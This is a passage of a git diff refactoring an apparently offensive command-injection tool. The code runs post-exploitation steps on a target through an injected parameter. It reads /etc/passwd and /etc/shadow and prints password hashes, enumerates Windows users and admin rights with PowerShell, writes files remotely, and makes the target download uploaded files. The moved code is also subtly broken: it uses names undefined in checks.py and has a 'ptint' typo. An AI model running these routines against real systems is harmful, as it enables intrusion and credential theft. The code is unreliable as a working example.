settings.FILE_ACCESS_DONE == False: - settings.FILE_ACCESS_DONE = True # eof \ No newline at end of file diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py index e37e21d04a..d32dfd9ba6 100755 --- a/src/core/injections/blind/techniques/time_based/tb_handler.py +++ b/src/core/injections/blind/techniques/time_based/tb_handler.py @@ -407,10 +407,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r else: settings.LOAD_SESSION = False - _ = False # Check for any enumeration options. if settings.ENUMERATION_DONE == True: - _ = True while True: message = "Do you want to ignore stored session and enumerate again? [y/N] > " enumerate_again = common.read_input(message, default="N", check_batch=True) @@ -429,12 +427,8 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r pass else: if menu.enumeration_options(): - _ = True tb_enumeration.do_check(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, http_request_method, url, vuln_parameter, alter_shell, filename, url_time_response) - if settings.FILE_ACCESS_DONE == False and _ == False: - print(settings.SINGLE_WHITESPACE) - # Check for any system file access options. if settings.FILE_ACCESS_DONE == True: while True: diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index ffb04b0018..4d3f1f01fc 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1647,13 +1647,527 @@ def generate_char_pool(num_of_chars): char_pool = char_pool + list(range(49, 57)) + list(range(32, 48)) + list(range(91, 96)) + list(range(58, 64)) + list(range(123, 127)) return char_pool +""" +Print powershell version +""" +def print_ps_version(ps_version, filename, _): + try: + if float(ps_version): + settings.PS_ENABLED = True + ps_version = "".join(str(p) for p in ps_version) + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + # Output PowerShell's version number + info_msg = "Powershell version: " + ps_version + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Powershell version: " + ps_version + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + except ValueError: + warn_msg = "Heuristics have failed to identify the version of Powershell, " + warn_msg += "which means that some payloads or injection techniques may be failed." + print(settings.print_warning_msg(warn_msg)) + settings.PS_ENABLED = False + ps_check_failed() + + +""" +Print hostname +""" +def print_hostname(shell, filename, _): + if shell: + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Hostname: " + str(shell) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + else: + warn_msg = "Heuristics have failed to identify the hostname." + print(settings.print_warning_msg(warn_msg)) + +""" +Print current user info +""" +def print_current_user(cu_account, filename, _): + if cu_account: + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Current user: " + str(cu_account) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + else: + warn_msg = "Heuristics have failed to fetch the current user." + print(settings.print_warning_msg(warn_msg)) + +""" +Print current user privs +""" +def print_current_user_privs(shell, filename, _): + priv = "True" + if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ + (settings.TARGET_OS != "win" and shell != "0"): + priv = "False" + + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + + info_msg = "Current user has excessive privileges: " + str(priv) + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + +""" +Print OS info +""" +def print_os_info(target_os, target_arch, filename, _): + if target_os and target_arch: + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = info_msg + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + else: + warn_msg = "Heuristics have failed to fetch underlying operating system information." + print(settings.print_warning_msg(warn_msg)) + + +""" +Print users enumeration. +""" +def print_users(sys_users, filename, _): + # Windows users enumeration. + if settings.TARGET_OS == "win": + try: + if sys_users[0] : + sys_users = "".join(str(p) for p in sys_users).strip() + sys.stdout.write(settings.SUCCESS_STATUS) + sys_users_list = re.findall(r"(.*)", sys_users) + sys_users_list = "".join(str(p) for p in sys_users_list).strip() + sys_users_list = ' '.join(sys_users_list.split()) + sys_users_list = sys_users_list.split() + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Identified " + str(len(sys_users_list)) + info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] + info_msg += " via 'net users' command." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + count = 0 + for user in range(0, len(sys_users_list)): + count = count + 1 + if menu.options.privileges: + cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" + if alter_shell: + cmd = cmd.replace("'","\\'") + cmd = "cmd /c " + cmd + response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) + check_privs = cb_injector.injection_results(response, TAG, cmd) + check_privs = "".join(str(p) for p in check_privs).strip() + check_privs = re.findall(r"(.*)", check_privs) + check_privs = "".join(str(p) for p in check_privs).strip() + check_privs = check_privs.split() + if "Admin" in check_privs[0]: + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" + is_privileged_nh = " is admin user " + else: + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" + is_privileged_nh = " is regular user " + else : + is_privileged = "" + is_privileged_nh = "" + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) + output_file.close() + else: + # print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) + except TypeError: + pass + except IndexError: + # print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) + pass + + # Unix-like users enumeration. + else: + try: + if sys_users[0] : + sys_users = "".join(str(p) for p in sys_users).strip() + if len(sys_users.split(" ")) <= 1 : + sys_users = sys_users.split("\n") + else: + sys_users = sys_users.split(" ") + # Check for appropriate '/etc/passwd' format. + if len(sys_users) % 3 != 0 : + warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " + warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) + sys_users = " ".join(str(p) for p in sys_users).strip() + print(sys_users) + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(" " + sys_users) + output_file.close() + else: + sys_users_list = [] + for user in range(0, len(sys_users), 3): + sys_users_list.append(sys_users[user : user + 3]) + if len(sys_users_list) != 0 : + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Identified " + str(len(sys_users_list)) + info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] + info_msg += " in '" + settings.PASSWD_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + count = 0 + for user in range(0, len(sys_users_list)): + sys_users = sys_users_list[user] + sys_users = ":".join(str(p) for p in sys_users) + count = count + 1 + fields = sys_users.split(":") + fields1 = "".join(str(p) for p in fields) + # System users privileges enumeration + try: + if not fields[2].startswith("/"): + raise ValueError() + if menu.options.privileges: + if int(fields[1]) == 0: + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " root user " + is_privileged_nh = " is root user " + elif int(fields[1]) > 0 and int(fields[1]) < 99 : + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " system user " + is_privileged_nh = " is system user " + elif int(fields[1]) >= 99 and int(fields[1]) < 65534 : + if int(fields[1]) == 99 or int(fields[1]) == 60001 or int(fields[1]) == 65534: + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " anonymous user " + is_privileged_nh = " is anonymous user " + elif int(fields[1]) == 60002: + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " non-trusted user " + is_privileged_nh = " is non-trusted user " + else: + is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user " + is_privileged_nh = " is regular user " + else : + is_privileged = "" + is_privileged_nh = "" + else : + is_privileged = "" + is_privileged_nh = "" + print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + fields[0] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + "(uid=" + fields[1] + "). Home directory is in '" + Style.BRIGHT + fields[2]+ Style.RESET_ALL + "'.") + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + fields[0] + "'" + is_privileged_nh + "(uid=" + fields[1] + "). Home directory is in '" + fields[2] + "'.\n" ) + output_file.close() + except ValueError: + if count == 1 : + warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is not in the " + warn_msg += "appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) + sys_users = " ".join(str(p) for p in sys_users.split(":")) + print(sys_users) + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(" " + sys_users) + output_file.close() + else: + # print(settings.SINGLE_WHITESPACE) + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.PASSWD_FILE + "'." + ptint(settings.print_warning_msg(warn_msg)) + except TypeError: + pass + except IndexError: + # print(settings.SINGLE_WHITESPACE) + warn_msg = "Some kind of WAF/IPS/IDS probably blocks the attempt to read '" + warn_msg += settings.PASSWD_FILE + "' to enumerate users entries." + print(settings.print_warning_msg(warn_msg)) + pass + +""" +Print users enumeration. +""" +def print_passes(sys_passes, filename, _): + if sys_passes == "": + sys_passes = " " + sys_passes = sys_passes.replace(" ", "\n") + sys_passes = sys_passes.split() + if len(sys_passes) != 0 : + if settings.VERBOSITY_LEVEL == 0 and _: + print(settings.SINGLE_WHITESPACE) + info_msg = "Identified " + str(len(sys_passes)) + info_msg += " entr" + ('ies', 'y')[len(sys_passes) == 1] + info_msg += " in '" + settings.SHADOW_FILE + "'." + print(settings.print_bold_info_msg(info_msg)) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg ) + output_file.close() + count = 0 + for line in sys_passes: + count = count + 1 + try: + if ":" in line: + fields = line.split(":") + if not "*" in fields[1] and not "!" in fields[1] and fields[1] != "": + print(" (" +str(count)+ ") " + Style.BRIGHT + fields[0] + Style.RESET_ALL + " : " + Style.BRIGHT + fields[1]+ Style.RESET_ALL) + # Add infos to logs file. + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + fields[0] + " : " + fields[1] + "\n") + output_file.close() + # Check for appropriate '/etc/shadow' format. + except IndexError: + if count == 1 : + warn_msg = "It seems that '" + settings.SHADOW_FILE + "' file is not " + warn_msg += "in the appropriate format. Thus, it is expoted as a text file." + print(settings.print_warning_msg(warn_msg)) + print(fields[0]) + output_file = open(filename, "a") + if not menu.options.no_logging: + output_file.write(" " + fields[0]) + output_file.close() + else: + warn_msg = "It seems that you don't have permissions to read the '" + warn_msg += settings.SHADOW_FILE + "' file." + print(settings.print_warning_msg(warn_msg)) + +""" +Quote provided cmd +""" +def quoted_cmd(cmd): + cmd = "\"" + cmd + "\"" + return cmd + +""" +Find filename +""" +def find_filename(dest_to_write, content): + fname = os.path.basename(dest_to_write) + tmp_fname = "tmp_" + fname + content = quoted_cmd(content) + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + tmp_fname + return fname, tmp_fname, cmd + +""" +Decode base 64 encoding +""" +def win_decode_b64_enc(fname, tmp_fname): + cmd = settings.CERTUTIL_DECODE_CMD + tmp_fname + " " + fname + return cmd + +""" +Remove command substitution on provided command +""" +def remove_command_substitution(cmd): + cmd = cmd.replace("echo $(","").replace(")","") + return cmd + +""" +Write the file content +""" +def write_content(content, dest_to_write): + content = quoted_cmd(content) + cmd = settings.FILE_WRITE + content + settings.FILE_WRITE_OPERATOR + dest_to_write + return cmd + +""" +Delete filename +""" +def delete_tmp(tmp_fname): + cmd = settings.WIN_DEL + tmp_fname + return cmd + +""" +Check if file exists. +""" +def check_file(dest_to_upload): + if settings.TARGET_OS == "win": + cmd = settings.FILE_LIST_WIN + dest_to_upload + else: + cmd = "echo $(" + settings.FILE_LIST + dest_to_upload + ")" + return cmd + + +""" +Change directory +""" +def change_dir(dest_to_write): + dest_to_write = dest_to_write.replace("\\","/") + path = os.path.dirname(dest_to_write) + path = path.replace("/","\\") + cmd = "cd " + path + return cmd + +""" +File content to read. +""" +def file_content_to_read(): + file_to_read = menu.options.file_read.encode(settings.DEFAULT_CODEC).decode() + info_msg = "Fetching content of the file: '" + info_msg += file_to_read + "'." + print(settings.print_info_msg(info_msg)) + if settings.TARGET_OS == "win": + cmd = settings.WIN_FILE_READ + file_to_read + else: + if settings.EVAL_BASED_STATE: + cmd = "(" + settings.FILE_READ + file_to_read + ")" + else: + cmd = settings.FILE_READ + file_to_read + return cmd, file_to_read + +""" +File read status +""" +def file_read_status(shell, file_to_read, filename): + if shell: + _ = "Fetched file content" + print(settings.print_retrieved_data(_, shell)) + output_file = open(filename, "a") + if not menu.options.no_logging: + info_msg = "Extracted content of the file '" + info_msg += file_to_read + "' : " + shell + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) + output_file.close() + else: + warn_msg = "It seems that you don't have permissions " + warn_msg += "to read the content of the file '" + file_to_read + "'." + print(settings.print_warning_msg(warn_msg)) + +""" +Check upload/write destination +""" +def check_destination(destination): + if menu.options.file_write: + where = menu.options.file_write + else: + where = menu.options.file_upload + if os.path.split(destination)[1] == "" : + _ = os.path.split(destination)[0] + "/" + os.path.split(where)[1] + elif os.path.split(destination)[0] == "/": + _ = "/" + os.path.split(destination)[1] + "/" + os.path.split(where)[1] + elif os.path.split(destination)[0] == "\\": + _ = "\\" + os.path.split(destination)[1] + "\\" + os.path.split(where)[1] + else: + _ = destination + return _ + +""" +Write the content of the file +""" +def check_file_to_write(): + file_to_write = menu.options.file_write.encode(settings.DEFAULT_CODEC).decode() + if not os.path.exists(file_to_write): + err_msg = "It seems that the provided local file '" + file_to_write + "' does not exist." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + + if os.path.isfile(file_to_write): + with open(file_to_write, 'r') as content_file: + content = [line.replace("\r\n", "\n").replace("\r", "\n").replace("\n", " ") for line in content_file] + content = "".join(str(p) for p in content).replace("'", "\"") + if settings.TARGET_OS == "win": + import base64 + content = base64.b64encode(content.encode(settings.DEFAULT_CODEC)).decode() + else: + warn_msg = "It seems that '" + file_to_write + "' is not a file." + print(settings.print_warning_msg(warn_msg)) + print(settings.SINGLE_WHITESPACE) + + dest_to_write = check_destination(destination=menu.options.file_dest) + info_msg = "Trying to write the content of the file '" + info_msg += file_to_write + "' on a remote directory '" + dest_to_write + "'." + print(settings.print_info_msg(info_msg)) + return file_to_write, dest_to_write, content + +""" +File write status +""" +def file_write_status(shell, dest_to_write): + if shell: + info_msg = "The file has been successfully created on remote directory: '" + dest_to_write + "'." + print(settings.print_bold_info_msg(info_msg)) + else: + warn_msg = "It seems that you don't have permissions to write files on the remote directory '" + dest_to_write + "'." + print(settings.print_warning_msg(warn_msg)) + +""" +File upload procedure. +""" +def check_file_to_upload(): + file_to_upload = menu.options.file_upload.encode(settings.DEFAULT_CODEC).decode() + try: + _urllib.request.urlopen(file_to_upload, timeout=settings.TIMEOUT) + except _urllib.error.HTTPError as err_msg: + warn_msg = "It seems that the '" + file_to_upload + "' file, does not exist. (" +str(err_msg)+ ")" + print(settings.print_warning_msg(warn_msg)) + raise SystemExit() + except ValueError as err_msg: + err_msg = str(err_msg[0]).capitalize() + str(err_msg)[1] + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + dest_to_upload = check_destination(destination=menu.options.file_dest) + info_msg = "Trying to upload the file from '" + info_msg += file_to_upload + "' on a remote directory '" + dest_to_upload + "'." + print(settings.print_info_msg(info_msg)) + # Execute command + cmd = settings.FILE_UPLOAD + file_to_upload + " -O " + dest_to_upload + return cmd, dest_to_upload + +""" +File upload status. +""" +def file_upload_status(shell, dest_to_upload): + if shell: + info_msg = "The file has been successfully uploaded on remote directory '" + dest_to_upload + "'." + print(settings.print_bold_info_msg(info_msg)) + else: + warn_msg = "It seems that you don't have permissions to upload files on the remote directory '" + dest_to_upload + "'." + print(settings.print_warning_msg(warn_msg)) + """ Check if defined "--file-upload" option. """ def file_upload(): if not re.match(settings.VALID_URL_FORMAT, menu.options.file_upload): - if not menu.options.file_dest.endswith("/"): - menu.options.file_dest = menu.options.file_dest + "/" + # if not menu.options.file_dest.endswith("/"): + # menu.options.file_dest = menu.options.file_dest + "/" # Check if not defined URL for upload. while True: message = "Do you want to enable an HTTP server? [Y/n] > " diff --git a/src/core/injections/results_based/techniques/classic/cb_enumeration.py b/src/core/injections/results_based/techniques/classic/cb_enumeration.py index ef5dd22eee..db1786a10b 100755 --- a/src/core/injections/results_based/techniques/classic/cb_enumeration.py +++ b/src/core/injections/results_based/techniques/classic/cb_enumeration.py @@ -31,7 +31,8 @@ """ Powershell's version number enumeration (for Windows OS) """ -def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): +def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False cmd = settings.PS_VERSION if alter_shell: cmd = cmd.replace("'","\\'") @@ -48,30 +49,13 @@ def powershell_version(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, ps_version, vuln_parameter) else: ps_version = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - try: - if float(ps_version): - settings.PS_ENABLED = True - # Output PowerShell's version number - info_msg = "Powershell version: " - info_msg += ps_version + Style.RESET_ALL + Style.BRIGHT - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Powershell version: " + ps_version + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - except ValueError: - warn_msg = "Heuristics have failed to identify the version of Powershell, " - warn_msg += "which means that some payloads or injection techniques may be failed." - print(settings.print_warning_msg(warn_msg)) - settings.PS_ENABLED = False - checks.ps_check_failed() + checks.print_ps_version(ps_version, filename, _) """ Hostname enumeration """ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.HOSTNAME = settings.WIN_HOSTNAME cmd = settings.HOSTNAME @@ -87,24 +71,13 @@ def hostname(separator, TAG, prefix, suffix, whitespace, http_request_method, ur session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if shell: - shell = "".join(str(p) for p in shell) - info_msg = "Hostname: " + str(shell) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to identify the hostname." - print(settings.print_warning_msg(warn_msg)) + checks.print_hostname(shell, filename, _) """ Retrieve system information """ -def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): +def system_information(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.RECOGNISE_OS = settings.WIN_RECOGNISE_OS cmd = settings.RECOGNISE_OS @@ -128,7 +101,7 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ if settings.TARGET_OS != "win": cmd = settings.DISTRO_INFO if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") + cmd = checks.remove_command_substitution(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -159,23 +132,13 @@ def system_information(separator, TAG, prefix, suffix, whitespace, http_request_ session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) else: target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os and target_arch: - info_msg = "Operating system: " + str(target_os) + " (" + str(target_arch) + ")" - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch underlying operating system information." - print(settings.print_warning_msg(warn_msg)) + checks.print_os_info(target_os, target_arch, filename, _) """ The current user enumeration """ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.CURRENT_USER = settings.WIN_CURRENT_USER cmd = settings.CURRENT_USER @@ -191,30 +154,19 @@ def current_user(separator, TAG, prefix, suffix, whitespace, http_request_method session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) else: cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if cu_account: - cu_account = "".join(str(p) for p in cu_account) - info_msg = "Current user: " + str(cu_account) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = info_msg + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - else: - warn_msg = "Heuristics have failed to fetch the current user." - print(settings.print_warning_msg(warn_msg)) + checks.print_current_user(cu_account, filename, _) """ Check if the current user has excessive privileges. """ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": cmd = settings.IS_ADMIN else: cmd = settings.IS_ROOT if settings.USE_BACKTICKS: - cmd = cmd.replace("echo $(","").replace(")","") + cmd = checks.remove_command_substitution(cmd) if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: # Command execution results. response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) @@ -227,32 +179,21 @@ def check_current_user_privs(separator, TAG, prefix, suffix, whitespace, http_re session_handler.store_cmd(url, cmd, shell, vuln_parameter) else: shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - - _ = "True" - if (settings.TARGET_OS == "win" and not "Admin" in shell) or \ - (settings.TARGET_OS != "win" and shell != "0"): - _ = "False" - - info_msg = "Current user has excessive privileges: " + str(_) - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + checks.print_current_user_privs(shell, filename, _) """ System users enumeration """ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec): + _ = False if settings.TARGET_OS == "win": settings.SYS_USERS = settings.WIN_SYS_USERS settings.SYS_USERS = settings.SYS_USERS + "-replace('\s+',' '))" if alter_shell: settings.SYS_USERS = settings.SYS_USERS.replace("'","\\'") - # else: - # settings.SYS_USERS = "\"" + settings.SYS_USERS + "\"" + else: + settings.SYS_USERS = checks.quoted_cmd(settings.SYS_USERS) cmd = settings.SYS_USERS if settings.TARGET_OS == "win": cmd = "cmd /c " + cmd @@ -268,240 +209,27 @@ def system_users(separator, TAG, prefix, suffix, whitespace, http_request_method session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) else: sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - # Windows users enumeration. - if settings.TARGET_OS == "win": - info_msg = "Executing the 'net users' command " - info_msg += "in order to enumerate users entries. " - sys.stdout.write(settings.print_info_msg(info_msg)) - sys.stdout.flush() - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - sys.stdout.write(settings.SUCCESS_STATUS) - sys_users_list = re.findall(r"(.*)", sys_users) - sys_users_list = "".join(str(p) for p in sys_users_list).strip() - sys_users_list = ' '.join(sys_users_list.split()) - sys_users_list = sys_users_list.split() - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 'y')[len(sys_users_list) == 1] - info_msg += " via 'net users' command." - print(settings.print_bold_info_msg(info_msg)) - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() - count = 0 - for user in range(0, len(sys_users_list)): - count = count + 1 - if menu.options.privileges: - cmd = "powershell.exe -InputFormat none write-host (([string]$(net user " + sys_users_list[user] + ")[22..($(net user " + sys_users_list[user] + ").length-3)]).replace('Local Group Memberships','').replace('*','').Trim()).replace(' ','')" - if alter_shell: - cmd = cmd.replace("'","\\'") - cmd = "cmd /c " + cmd - response = cb_injector.injection(separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename) - check_privs = cb_injector.injection_results(response, TAG, cmd) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = re.findall(r"(.*)", check_privs) - check_privs = "".join(str(p) for p in check_privs).strip() - check_privs = check_privs.split() - if "Admin" in check_privs[0]: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " admin user" - is_privileged_nh = " is admin user " - else: - is_privileged = Style.RESET_ALL + " is" + Style.BRIGHT + " regular user" - is_privileged_nh = " is regular user " - else : - is_privileged = "" - is_privileged_nh = "" - print("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") '" + Style.BRIGHT + sys_users_list[user] + Style.RESET_ALL + "'" + Style.BRIGHT + is_privileged + Style.RESET_ALL + ".") - # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write("" + settings.SUB_CONTENT_SIGN + "(" +str(count)+ ") " + sys_users_list[user] + is_privileged + "\n" ) - output_file.close() - else: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - except TypeError: - pass - except IndexError: - print(settings.SINGLE_WHITESPACE) - warn_msg = "It seems that you don't have permissions to enumerate users entries." - print(settings.print_warning_msg(warn_msg)) - pass - - # Unix-like users enumeration. - else: - info_msg = "Fetching content of the file '" + settings.PASSWD_FILE - info_msg += "' in order to enumerate users entries. " - print(settings.print_info_msg(info_msg)) - try: - if sys_users[0] : - sys_users = "".join(str(p) for p in sys_users).strip() - if len(sys_users.split(" ")) <= 1 : - sys_users = sys_users.split("\n") - else: - sys_users = sys_users.split(" ") - # Check for appropriate '/etc/passwd' format. - if len(sys_users) % 3 != 0 : - warn_msg = "It seems that '" + settings.PASSWD_FILE + "' file is " - warn_msg += "not in the appropriate format. Thus, it is expoted as a text file." - print(settings.print_warning_msg(warn_msg)) - sys_users = " ".join(str(p) for p in sys_users).strip() - print(sys_users) - output_file = open(filename, "a") - if not menu.options.no_logging: - output_file.write(" " + sys_users) - output_file.close() - else: - sys_users_list = [] - for user in range(0, len(sys_users), 3): - sys_users_list.append(sys_users[user : user + 3]) - if len(sys_users_list) != 0 : - info_msg = "Identified " + str(len(sys_users_list)) - info_msg += " entr" + ('ies', 